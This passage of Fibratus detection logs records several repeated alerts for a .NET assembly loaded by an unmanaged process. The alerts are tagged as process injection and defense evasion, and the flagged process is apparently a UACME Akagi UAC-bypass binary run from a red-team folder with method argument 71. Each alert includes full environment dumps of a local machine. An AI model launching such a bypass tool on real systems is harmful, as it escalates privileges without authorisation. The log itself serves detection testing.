Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1667922 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6349539 +0100 CET + Params: base_address➜ 7ffaf5eb0000, checksum➜ 0, default_address➜ 7ffaf5eb0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe, image_size➜ 11980800, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1667922 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6349539 +0100 CET + Params: base_address➜ 7ffaf5eb0000, checksum➜ 0, default_address➜ 7ffaf5eb0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe, image_size➜ 11980800, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\lc\447e349e90b9f2842d68164e5cba15d9\lc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1667962 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.636528 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\lc\447e349e90b9f2842d68164e5cba15d9\lc.ni.exe, image_size➜ 81920, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: 